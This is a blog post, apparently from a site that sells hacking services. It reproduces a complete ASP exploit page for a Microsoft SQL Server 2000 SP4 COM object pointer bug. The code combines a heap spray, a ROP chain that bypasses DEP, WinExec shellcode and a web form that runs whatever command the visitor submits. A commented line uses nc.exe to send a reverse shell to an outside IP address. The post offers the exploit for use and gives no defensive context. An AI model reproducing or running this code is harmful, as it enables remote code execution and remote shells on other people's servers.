Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86370620

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
<%
Function Padding(intLen)
	Dim strRet, intSize
	intSize = intLen/2 - 1
	For I = 0 To intSize Step 1
		strRet = strRet & unescape("%u4141")
	Next
	Padding = strRet
End Function

Function PackDWORD(strPoint)
	strTmp = replace(strPoint, "0x", "")
	PackDWORD = PackDWORD & UnEscape("%u" & Mid(strTmp, 5, 2) & Mid(strTmp, 7, 2))
	PackDWORD = PackDWORD & UnEscape("%u" & Mid(strTmp, 1, 2) & Mid(strTmp, 3, 2))
End Function

Function PackList(arrList)
	For Each Item In arrList
		PackList = PackList & PackDWORD(Item)
	Next
End Function

Function PackShellcode(strCode)
	intLen = Len(strCode) / 4
	If intLen Mod 2 = 1 Then
		strCode = strCode & "\x90"
		intLen = intLen + 1
	End If
	arrTmp = Split(strCode, "\x")
	For I = 1 To UBound(arrTmp) Step 2
		PackShellcode = PackShellcode & UnEscape("%u" & arrTmp(I + 1) & arrTmp(I))
	Next
End Function

Function UnicodeToAscii(uStrIn)
	intLen = Len(strCommand)
	If intLen Mod 2 = 1 Then
		For I = 1 To intLen - 1 Step 2
			UnicodeToAscii = UnicodeToAscii & "%u" & Hex(Asc(Mid(strCommand, I + 1, 1))) & Hex(Asc(Mid(strCommand, I, 1)))
		Next
		UnicodeToAscii = UnicodeToAscii & "%u00" & Hex(Asc(Mid(strCommand, I, 1)))
	Else
		For I = 1 To intLen - 1 Step 2
			UnicodeToAscii = UnicodeToAscii & "%u" & Hex(Asc(Mid(strCommand, I + 1, 1))) & Hex(Asc(Mid(strCommand, I, 1)))
		Next
	End If
	UnicodeToAscii = UnEscape(UnicodeToAscii & "%u0000%u0000")
End Function

'''''''''''''''''''''''''''''bypass DEP with [msvcr71.dll] 92 bytes
Rop_Chain = Array(_
"0x41414141", _
"0x7c373ab6", _
"0x7c3425bc", _
"0x7c376fc5", _
"0x7c343423", _
"0x7c3415a2", _
"0x7c373ab6", _
"0x41414141", _
"0x41414141", _
"0x41414141", _
"0x41414141", _
"0x7c344dbe", _
"0x7c376fc5", _
"0x7c373ab6", _
"0x7c373ab6", _
"0x7c351cc5", _
"0x7c3912a3", _
"0x7c3427e5", _
"0x7c346c0b", _
"0x7c3590be", _
"0x7c37a151", _
"0x7c378c81", _
"0x7c345c30"  _
)
Small_Shellcode = "\x64\x8B\x25\x00\x00\x00\x00\xeb\x07\x90\x90\x90"
'0C0C0C6C   64:8B25 00000000          MOV ESP,DWORD PTR FS:[0]
'0C0C0C73   EB 07                     JMP SHORT 0C0C0C7C
'0C0C0C75   90                        NOP
'0C0C0C76   90                        NOP
'0C0C0C77   90                        NOP
'12 bytes
Fix_ESP = "\x83\xEC\x24\x8B\xEC\x83\xC5\x30"
'0C0C0C7C   83EC 24                   SUB ESP,24
'0C0C0C7F   8BEC                      MOV EBP,ESP
'0C0C0C81   83C5 30                   ADD EBP,30
'8 bytes
'''''''''''''''''''''''''''''shellcode WinExec (win2k sp2)
Real_Shellcode = "\xd9\xee\x9b\xd9\x74\x24\xf4\x5e\x83\xc6\x1a\x33\xc0\x50\x56\x68\x41\x41\x41\x41\x68\x16\x41\x86\x7c\xc3"
'D9EE            FLDZ
'9B              WAIT
'D97424 F4       FSTENV (28-BYTE) PTR SS:[ESP-C]
'5E              POP ESI
'83C6 1a                   ADD ESI,1a
'33C0                      XOR EAX,EAX
'50                        PUSH EAX
'56                        PUSH ESI
'68 F1F8807C               PUSH kernel32.ExitThread
'68 1641867C               PUSH kernel32.WinExec
'C3                        RETN
'''''''''''''''''''''''''''''main
Dim strCmd

strCmd = Request("cmd")
strCommand = "cmd.exe /q /c " & strCmd
'strCommand = "C:\Inetpub\wwwroot\nc.exe -e cmd.exe 192.168.194.1 8080"

strOpcode = PackShellcode(Real_Shellcode) & UnicodeToAscii(strCommand)
intOpcode = Len(strOpcode)

Payload = String((1000/2), UnEscape("%u4141")) & PackDWORD("0x0c0c0c0c") & PackList(Rop_Chain) & PackShellcode(Small_Shellcode) & PackDWORD("0x5a64f0fe") &_
PackShellcode(Fix_ESP) & strOpcode &_
Padding(928 - intOpcode*2)
'Response.Write Len(Payload)
Dim Block
For N = 1 to 512
	Block = Block & Payload
Next
Dim spary()
For I = 0 To 200 Step 1
	Redim Preserve spary(I)
	spary(I) = Block
Next

If strCmd = "" Then
	Response.Write "Please Input command! <br />"
Else
	Set obj = CreateObject("SQLNS.SQLNamespace")
	Response.Write "Try to Execute: " & strCommand
	arg1 = 202116108 '0x0c0c0c0c
	obj.Refresh arg1
End If
%>
<html><head><title>Microsoft SQL Server 2000 SP4 SQLNS.SQLNamespace COM object Refresh() Pointer Error Exploit(DEP bypass)</title>
<body>
<p>
Microsoft SQL Server 2000 SP4 SQLNS.SQLNamespace COM object Refresh() Pointer Error Exploit(DEP bypass) <br />
Other version not test :) <br />
Bug found and Exploit by ylbhz@hotmail.com At 2012/04/03<br />
</P>

<form action="" method="post">
Program to Execute:<input type="text" value="<%=strCmd%>"size=120 name="cmd"></input><input type="submit" value="Exploit">
</form>
</form>